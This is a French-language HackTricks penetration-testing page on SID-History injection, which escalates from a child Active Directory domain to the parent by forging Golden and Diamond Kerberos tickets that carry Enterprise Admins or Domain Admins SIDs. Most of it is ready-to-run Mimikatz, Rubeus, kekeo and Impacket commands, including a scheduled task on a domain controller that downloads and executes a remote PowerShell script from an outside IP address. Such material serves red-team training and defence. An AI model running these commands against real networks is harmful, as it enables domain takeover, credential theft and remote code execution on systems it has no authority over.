## Injection de SID-History <details> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. </details> ## Attaque SID History a été conçu pour prendre en charge les scénarios de migration, où un utilisateur serait déplacé d'un domaine à un autre. Pour préserver l'accès aux ressources dans l'ancien domaine, le **SID précédent de l'utilisateur serait ajouté à l'historique des SID** de son nouveau compte. Ainsi, lors de la création d'un tel ticket, le SID d'un groupe privilégié (EAs, DAs, etc.) dans le domaine parent peut être ajouté, ce qui **accordera l'accès à toutes les ressources dans le domaine parent**. Cela peut être réalisé en utilisant soit un [**Golden Ticket**](sid-history-injection.md#golden-ticket) ou un [**Diamond Ticket**](sid-history-injection.md#diamond-ticket). Pour trouver le **SID** du groupe **"Enterprise Admins"**, vous pouvez trouver le **SID** du **domaine racine** et le définir en `S-1-5-21-<domaine racine>-519`. Par exemple, à partir du SID du domaine racine `S-1-5-21-280534878-1496970234-700767426`, le SID du groupe **"Enterprise Admins"** est `S-1-5-21-280534878-1496970234-700767426-519`. Vous pouvez également utiliser les groupes **Domain Admins**, qui se terminent par **512**. Une autre façon de trouver le SID d'un groupe de l'autre domaine (par exemple "Domain Admins") est avec: ```powershell Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid ``` ### Ticket d'or (Mimikatz) avec KRBTGT-AES256 {% code overflow="wrap" %} ```bash mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit" /user is the username to impersonate (could be anything) /domain is the current domain. /sid is the current domain SID. /sids is the SID of the target group to add ourselves to. /aes256 is the AES256 key of the current domain's krbtgt account. --> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option /startoffset sets the start time of the ticket to 10 mins before the current time. /endin sets the expiry date for the ticket to 60 mins. /renewmax sets how long the ticket can be valid for if renewed. # The previous command will generate a file called ticket.kirbi # Just loading you can perform a dcsync attack agains the domain ``` ### Ticket Diamond (Rubeus + KRBTGT-AES256) {% code overflow="wrap" %} ```powershell # Use the /sids param Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap # Or a ptt with a golden ticket Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt # You can use "Administrator" as username or any other string ``` {% endcode %} Pour plus d'informations sur les tickets Diamond, consultez : {% content-ref url="diamond-ticket.md" %} [diamond-ticket.md](diamond-ticket.md) {% endcontent-ref %} {% code overflow="wrap" %} ```bash .\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local .\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi ls \\mcorp-dc.moneycorp.local\c$ ``` {% endcode %} Escaladez vers le compte DA ou administrateur d'entreprise en utilisant le hash KRBTGT du domaine compromis : {% code overflow="wrap" %} ```bash Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"' Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"' gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'" schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114" ``` {% endcode %} Avec les permissions acquises lors de l'attaque, vous pouvez par exemple exécuter une attaque DCSync dans le nouveau domaine : {% content-ref url="dcsync.md" %} [dcsync.md](dcsync.md) {% endcontent-ref %} ### Depuis Linux #### Manuellement avec [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py) {% code overflow="wrap" %} ```bash # This is for an attack from child to root domain # Get child domain SID lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID" # Get root domain SID lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID" # Generate golden ticket ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator # NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING # JUST USE THE SAME USERNAME IN THE NEXT STEPS # Load ticket export KRB5CCNAME=hacker.ccache # psexec in domain controller of root psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10 ``` {% endcode %} #### Automatique en utilisant [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py) Il s'agit d'un script Impacket qui **automatise l'escalade du domaine enfant au domaine parent**. Le script nécessite : * Contrôleur de domaine cible * Cred pour un utilisateur admin dans le domaine enfant Le flux est le suivant : * Obtient l'ID de sécurité pour le groupe Enterprise Admins du domaine parent * Récupère le hachage pour le compte KRBTGT dans le domaine enfant * Crée un Golden Ticket * Se connecte au domaine parent * Récupère les informations d'identification pour le compte Administrateur dans le domaine parent * Si l'option `target-exec` est spécifiée, il s'authentifie auprès du contrôleur de domaine du domaine parent via Psexec. ```bash raiseChild.py -target-exec 10.10.10.10 <child_domain>/username ``` ## Références * [https://studylib.net/doc/25696115/crto](https://studylib.net/doc/25696115/crto) <details> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. </details>